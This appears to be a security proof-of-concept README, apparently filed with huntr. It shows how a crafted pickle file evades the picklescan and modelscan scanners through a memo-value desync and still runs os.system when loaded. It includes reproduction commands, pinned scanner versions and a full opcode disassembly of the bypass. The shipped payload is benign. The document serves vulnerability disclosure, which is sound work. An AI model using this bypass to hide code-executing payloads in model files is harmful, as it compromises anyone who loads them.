PoC: picklescan / modelscan memo-value desync β undetected RCE on pickle load
This is a security proof-of-concept. The model.pkl in this repo executes a command when deserialized.
The shipped payload is benign β it only runs echo pickle_scanner_bypass_poc > huntr_poc_marker.txt
(writes a marker file in the current directory). No network, no destructive action.
What it demonstrates
model.pkl is a crafted pickle that:
- executes
os.system("echo ... > huntr_poc_marker.txt")when loaded withpickle.load, yet picklescan(HuggingFace's scanner) reports 0 dangerous globals and exits clean, andmodelscan(Protect AI) reports no issues, only printing a handled scanner error (argument of type 'int' is not iterable); the dangerous operator is never flagged.
The scanners reconstruct the harmless global ('0', '2') while CPython's unpickler resolves and calls
os.system. The desync comes from how both scanners handle a MEMOIZE opcode that immediately follows a
BINGET: they store the BINGET's memo index (an int) into the memo table instead of the real
top-of-stack string.
Reproduce
pip install "picklescan==1.0.4" "modelscan==0.8.8"
# 1) Scanners say it's clean:
picklescan -p model.pkl -g
modelscan -p model.pkl
# 2) It executes code on load (creates ./huntr_poc_marker.txt):
python -c "import pickle; pickle.load(open('model.pkl','rb'))"
cat huntr_poc_marker.txt
Disassembly (real unpickler semantics)
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'os'
6: \x94 MEMOIZE (as 0)
7: h BINGET 0
9: \x94 MEMOIZE (as 1) <- scanner stores int 0 here (POISON), real stores 'os'
10: \x8c SHORT_BINUNICODE 'system'
18: \x94 MEMOIZE (as 2)
19: h BINGET 2
21: \x94 MEMOIZE (as 3) <- scanner stores int 2 here (POISON), real stores 'system'
22: h BINGET 1 -> real pushes 'os' | scanner pushes int 0
24: h BINGET 3 -> real pushes 'system' | scanner pushes int 2
26: \x93 STACK_GLOBAL -> real find_class('os','system') = os.system
27: \x8c SHORT_BINUNICODE 'echo pickle_scanner_bypass_poc > huntr_poc_marker.txt'
82: \x85 TUPLE1
83: R REDUCE -> os.system(...)
84: . STOP
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support